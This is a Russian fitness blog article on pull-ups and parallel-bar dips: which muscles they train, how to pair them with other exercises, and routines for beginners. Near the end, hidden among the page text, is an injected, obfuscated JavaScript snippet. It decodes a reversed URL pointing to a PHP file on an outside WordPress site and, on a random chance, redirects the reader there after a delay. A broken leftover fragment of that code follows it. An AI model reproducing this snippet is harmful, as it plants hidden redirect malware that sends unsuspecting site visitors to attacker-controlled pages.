При наличии травм плечевого сустава, эти упражнения выполнять не рекомендуется.
При наличии травм плечевого сустава, эти упражнения выполнять не рекомендуется.
Если вы увлекаетесь бодибилдингом или фитнесом и игнорируете отжимания на брусьях и/или подтягивания на турнике — вы совершаете большую ошибку! Подтягивания на турнике, равно как и отжимания на брусьях, вовлекают в работу большое количество мышечных групп, т.е. являются многосуставными базовыми упражнениями, а потому мы настоятельно рекомендуем включить их в свою ПТ и всегда выполнять одними из первых (т.е. в начале тренировки).
На турнике можно прорабатывать следующие мышцы: трапециевидные, широчайшие, круглые мышцы спины, бицепсы и мышцы предплечья, дельтовидные. Это одно из лучших упражнений для развития плеч и их визуального «уширения». На брусьях же идет проработка грудных мышц, трицепсов и передней части дельтовидных мышц.
Подтягивания на турнике и отжимания на брусьях одинаково хороши как в увеличении силы и выносливости, так и в наборе массы (при правильно подобранной диете и прогрессии нагрузок). И вовсе не обязательно делать эти упражнения только с собственным весом — можно использовать утяжеления, например, повесить на атлетический пояс блин(ы) или даже гирю.
Комбинация отжиманий на брусьях и подтягиваний в суперсетах укрепляет сухожилия локтевых суставов. Если использовать подтягивания в качестве базового упражнения на широчайшие мышцы спины (крылья), то в совокупности с тягой штанги или гантелей в наклоне, тягой верхнего/нижнего блока, всего одной тренировки в неделю продолжительностью в 40-50 минут становится достаточно для хорошего укрепления мышц верха спины. Причем, если от подтягиваний отказаться, то для достижения аналогичного результата придется увеличить тренировочное время в два, а то и три раза.
Отжимания на брусьях рекомендуется использовать совместно с жимом лежа для ускорения роста грудных мышц. Чтобы акцентировать нагрузку именно на них, а не на трицепсах — наклоняйте корпус слегка вперед и используйте по возможности широкие брусья. Также отжимания на брусьях, но в вертикальной «стойке» и на близко поставленных брусьях хорошо кооперируется с французским жимом для мощного развития трицепса! Как показывает практика, использование вышеописанных схем работы с турником и брусьями ускоряет процесс роста мышечной массы, а также силы и выносливости мышц на 15-35% по сравнению с традиционными способами.
Не обойдем стороной и новичков! Для них работа на брусьях и турнике даст необходимую «базу» — комплекс силы, выносливости и небольшого объема мышц, необходимых для эффективной работы с дополнительным отягощением. Например, подтягивания на турнике, всего по 50-70 раз, можно «лесенкой», равными или случайными по количеству повторов подходами, уже через 2-3 месяца оборачиваются формирование крепких и выносливых мышц рук и спины. К тому же, такие занятия не отнимут много времени — всего 30 минут 3 раза в неделю будет вполне достаточно.
Причем скорость набора мышечной массы и дальнейшего увеличения силовых параметров при переходе на тренировку по массонаборным, силовым и другим программам в тренажерном зале будет изначально выше, по сравнению со спортсменами, не прошедшими такую предварительную подготовку.
А еще упражнения на турнике и брусьях используются для «разогрева» перед тренировкой. Кстати, в пауэрлифтинге подтягивания всеми видами хвата позволяют задействовать не затрагиваемые стандартной тренировочной программой группы мышц, в первую очередь бицепсы.
$mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatto-oni-dadut/»>
Друзья, поддержите нашу группу в Фейсбуке, поделитесь этим постом с друзьями или нажмите кнопку «Мне нравится!» и Вы всегда будете в курсе свежих новостей «Дежурной Качалки»!
Для вас мы собираем лучшие тренировки, рекомендации по правильному питанию и конечно же юмор из мира красивых, энергичных и здоровых людей — таких как мы с вами!
